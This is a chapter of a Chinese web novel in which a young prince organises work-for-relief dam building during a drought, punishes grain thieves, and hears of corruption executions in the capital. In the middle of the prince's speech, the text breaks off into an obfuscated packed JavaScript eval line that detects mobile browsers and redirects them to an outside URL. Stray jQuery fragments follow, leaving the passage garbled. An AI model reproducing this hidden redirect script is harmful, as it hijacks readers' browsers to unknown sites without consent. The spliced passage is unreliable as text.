半个月后,般澈的队伍终于抵达鄞州县城。
眼前的景象,比想象的更荒凉。县城城墙低矮破败,街道冷清,百姓面有菜色。土地干裂的痕迹已经开始显现,远处山峦一片枯黄。
鄞州县令姓吴,一个五十多岁、满面风霜的老举人,早已得到朝廷文书,忐忑不安地将般澈一行迎入县衙。衙署简陋,后院更是荒草丛生。
吴县令看着眼前这位过分年轻的皇子,心情复杂。天幕预言、皇子亲至……每一样都让他心惊肉跳。做好了未必有功,做差了,第一个掉脑袋的就是他。
般澈没摆皇子架子,直接让沈墨摊开地图,李九章摆开账册。
“吴县令,闲话不提。眼下县中,缺水最甚、农户最穷、青壮闲散最多的,是哪几处?”般澈开门见山。
吴县令愣了一下,连忙指点地图:“回殿下,是城西三十里的张家沟、李家庄一带,还有城北五十里的旱塬区。那里地贫,井深,往年一旱就绝收,青壮多外出扛活,今年……怕是不好找活路了。”
“就这两处。”般澈手指点在地图上,“明日一早,请吴县令派人引路,我们去看看。另外,请立即张贴安民告示,内容我稍后给你。要点有三:一,朝廷知晓旱情,特派员前来;二,将以工代赈,招募民夫兴修水利、垦殖荒地,每日管两餐,另计工分,可折口粮或少量工钱;三,应募者需确系本地贫苦农户,由村正里长作保。”
吴县令记下,犹豫道:“殿下,这……管两餐,还要计工分折粮钱,朝廷拨下的钱粮恐怕……”
“钱粮我自有计较。”般澈打断他,“你只需照办,并协助维持秩序。另外,县衙库中还有多少存粮?账册拿来。”
吴县令不敢怠慢,命人取来账册。李九章接过,飞速翻阅,眉头越皱越紧。账面存粮数字和实际仓廪情况,明显对不上。
“吴县令,”李九章抬起头,少年人的脸上没什么表情,声音却清冷,“账面应有陈谷一千二百石,实际仓中恐不足八百石。差缺何在?”
吴县令腿一软,扑通跪倒:“殿下明鉴!去岁……去岁征收时便有不足,加之鼠耗虫蚀,历年积亏……下官、下官绝未贪墨啊!”他额上冷汗涔涔,京城连斩贪官的消息,他自然也听说了。
般澈看着他,沉默片刻。这种积年亏空,在地方上太常见了,未必全是县令一人之过。但现在,他没时间也没精力去彻查陈年旧账。
“以往之事,暂且不究。”般澈缓缓道,“但从今日起,县衙所有钱粮出入,须由我派员协同登记,每日核对,账目公开。你若配合,安稳度过今次,或可既往不咎。若再有差池,”他顿了顿,声音不高,却带着寒意,“京城菜市口,不缺你一颗人头。”
吴县令浑身一颤,连连磕头:“下官明白!下官一定尽心竭力,配合殿下!”
“起来吧。”般澈让他起身,“现在,带我们去粮仓。”
接下来的两天,般澈一行人马不停蹄。实地勘察了张家沟和李家庄的地形水源,沈墨初步选定了两处适合修建小型蓄水塘坝的位置。走访了旱塬区的村落,看到的是更多面黄肌瘦的百姓和干涸的土地。
安民告示已经贴出,但应者寥寥。百姓疑虑,观望,不相信天上会掉下这样的好事。
转机出现在第三天。
清晨,县衙外忽然来了几十个衣衫褴褛的汉子,领头的是个独臂的老者,自称是李家庄的里长。
“官爷,告示上说的,管饭,还记工分,是真的?”老者声音沙哑,眼里混浊却带着最后的期盼。
“是真的。”般澈亲自走出来,“你是李家庄里长?村里能出多少劳力?可有手艺?”
老者看着般澈年轻却沉静的脸,又看看他身后那些不像官老爷、倒像干活人的随从,咬了咬牙:“庄子里能动的男丁,还有力气大的妇人,加起来能有百十号。手艺……会挖土,垒石头,算不算?”
“算。”般澈点头,“只要肯下力气,就算。今日就可报名登记,明日开工。开工前,先发一顿饱饭。”
“饱饭”两个字,像火星掉进干草堆。
消息在李家庄炸开。很快,张家沟、旱塬区其他村子的人也闻风而来。县衙外排起了长队。小德子带着人登记名册,李九章负责核对发放第一顿“安家粮”——每人两个杂面馍,一碗稀粥。
粮食是从县衙仓廪和般澈自带物资中挤出来的,不多,但足以让饿久了的人眼睛发绿。
第四天,第一批工程——李家庄蓄水塘坝——正式开工。
没有隆重的仪式,般澈和沈墨站在选定的坝址前,对着聚拢过来的百余名民夫,直接开始分派。
“会看土挖沟的,跟这位沈先生。”
“力气大能抬石的,到这边。”
“妇孺负责搬运小石、递送工具、烧水做饭。”
“每十人一队,选一临时队长,负责领工具、记出工。”
“每日收工,凭队长条子,到这里领当日工分牌,凭牌明日换口粮。”
规矩简单明了。工具是改进过的铁锹、镐头,虽然还是简陋,但比百姓自家的顺手。赵匠人和几个老兵穿梭在人群中,指导如何更省力地使用。
开工第一天,效率不高,混乱不少。但到了下午,秩序慢慢建立起来。因为每个人都知道,干完活,真的能领到代表口粮的竹牌。
傍晚,收工。民夫们拖着疲惫的身子,聚到临时搭建的工分登记处。李九章和小德子等人,对照着各队长的条子,飞快地计算、发放刻有不同记号的竹牌。旁边,大锅里熬着稠粥,蒸着馍,香气飘散。
当第一个民夫捧着热粥和杂面馍,蹲在地上狼吞虎咽时,更多的人眼眶红了。
这不是施舍,这是他们用汗水换来的。
希望,就像干裂土地里冒出的第一点绿芽,艰难却顽强地钻了出来。
消息在鄞州县飞快传开。更多的村庄,更多的闲散劳力,甚至是附近州县听到风声的流民,开始向李家庄、张家沟汇聚。
压力,也随之而来。
人多了,粮食消耗剧增。十五万两银子看似不少,但购买粮食、工具、支付必要开销,如流水般花出去。李九章的账本记得密密麻麻,眉头越锁越紧。
更麻烦的是,人员庞杂,难免混进偷奸耍滑、甚至意图滋事之徒。工地秩序,粮食物资看守,都成了问题。
就在工程进行到第十天,第一起恶性事件发生了。
深夜,存放部分粮食和工具的临时仓库遭窃。看守的两名老兵被人打晕,虽未致命,但粮食被盗走十余袋,几件重要工具丢失。
消息报到般澈这里时,天还没亮。
他脸色沉静,眼底却有寒光闪过。
“查。”只有一个字。
小德子和禁军护卫头领立刻行动。现场痕迹杂乱,但很快锁定了几个可疑对象——是最近从邻县流窜过来的几个青皮无赖,混在民夫中,出工不出力,眼珠子总往仓库瞟。
人很快被揪了出来,赃物也在一处荒草丛中找到部分。
清晨,工地开工前。
所有民夫被召集到坝址前的空地上。中间,跪着那三个被绑得结结实实的窃贼。旁边,是找回的粮食和工具。
般澈站在一块高石上,目光扫过黑压压的人群。经过这些天的劳作和饱饭,许多人脸上有了点活气,但此刻都屏息凝神,带着惊惧和好奇。
“诸位乡亲,”般澈的声音不大,却清晰地传开,“朝廷派我来,是给大家一条活路,一起熬过旱灾。这活路,靠的是我们自己的力气,是公平和规矩。”
他顿了顿,指向地上跪着的三人:“但他们,不想出力,只想偷窃。偷的,是大家明日干活的口粮,是修坝保命的工具。他们偷走的,不是我的东西,是你们每个人碗里的粥,是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997223|192347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你们妻儿老小的指望!”
人群骚动起来,看向那三人的目光充满了愤怒。
“按朝廷律法,盗窃官仓物资,重者可判流放甚至斩首。”般澈缓缓道,“但今日,我不按官法,按我们工地的规矩。”
他看着那三人:“你们三人,偷盗工粮工具,人赃并获。按规,逐出工地,永不录用,所盗物资折价,从你们之前所得工分中扣除,不足部分,以役抵偿。”
这个处罚,看似比官法轻,但对这些指望工地活命的人来说,逐出工地、扣光工分,等于断了生路。
那三人脸色惨白,连连磕头求饶。
般澈不为所动,继续道:“但,偷盗之事,非止于此。看守疏忽,亦有责任。”他看向那两名被打晕的老兵,“你二人失职,罚扣三日工分,调离看守之职,去干最苦的挖土活。”
老兵羞愧低头领罚。
“还有,”般澈的目光再次扫向所有人,“今日起,工地立新规。每队民夫,互相监督检举。凡有偷盗、破坏、滋事者,队中知情不报,全队连坐,扣罚工分!举报属实者,有赏!”
连坐!举报有赏!
人群彻底安静了,人人脸色肃然。这意味着,谁再想干坏事,不仅自己倒霉,还会连累同队几十号人没饭吃。而身边的人,为了自己的口粮,也会盯着你。
“规矩立下了,”般澈最后道,“望诸位共守。我们在这里,是为自己,为家人挣一条活路。活路,容不下蛀虫。”
他挥挥手:“带下去,行罚。然后,开工!”
那三人被拖走,哭嚎声渐渐远去。人群沉默地散去,回到各自的岗位。但气氛明显不同了,多了一份紧绷的纪律,少了一些散漫躁动。
接下来的几天,工地秩序井然,效率竟隐隐有所提升。小偷小摸绝迹,甚至有人主动举报了一起私藏工具的苗头。
鄞州县城的吴县令,听闻此事,暗暗咂舌。这位九皇子,年纪轻轻,手腕却硬得很。恩威并施,规矩立得明白,处罚也毫不含糊。比起京城传来的血腥杀戮,这番处置看似温和,实则同样凌厉,直指人心。
他知道,这位殿下,恐怕比那些只知道砍头的京官,更难对付。
而此刻的京城,杀戮仍在继续。
漕运、工部的案子,牵出了户部一名郎中,其在拨付一笔河工款项时收受巨额贿赂,导致工程偷工减料,去年一场小汛就冲垮了新修的堤段。
皇帝震怒。
这一次,他没有立刻批斩。而是下旨,将此郎中及其主要行贿的商人,押赴去年决堤的河段旁,公开审判。
审判当日,河岸旁聚集了众多被那次决堤殃及的百姓。
罪状宣读完毕,皇帝特使当众宣判:“……贪墨河工款,致使堤防不固,黎民受灾,罪同祸国!依律,斩立决!并,抄没家产,半数赔偿受灾百姓!”
刽子手刀落,血溅河滩。
围观的百姓先是惊骇,随即爆发出震天的哭喊和叫好声。有失去亲人的灾民跪地磕头,有被毁了田地的农户痛哭流涕。
这一次的“杀”,不仅仅是为了震慑官吏,更是为了收拢民心,为了昭示朝廷“惩贪安民”的决心。
消息再次以最快速度传遍天下。
西北鄞州工地上的般澈,也收到了京城来的密报。他看着简报上“河畔斩贪,以慰灾民”的字样,沉默许久。
父皇在京城以血开路,他在西北以工聚心。一在朝,一在野;一刚猛,一绵长。目的却是一样的:在这天灾人祸交织的困局里,为这个王朝,撬开一道生缝。
他将密报收起,望向远处干裂的黄土和正在缓慢成型的堤坝轮廓。
坝要一层层夯,路要一步步走。
血已流了,工已开了。
接下来,就看这人心,能不能真的拢住;看这生机,能不能真的从这片干旱的土地上,挣扎出来了。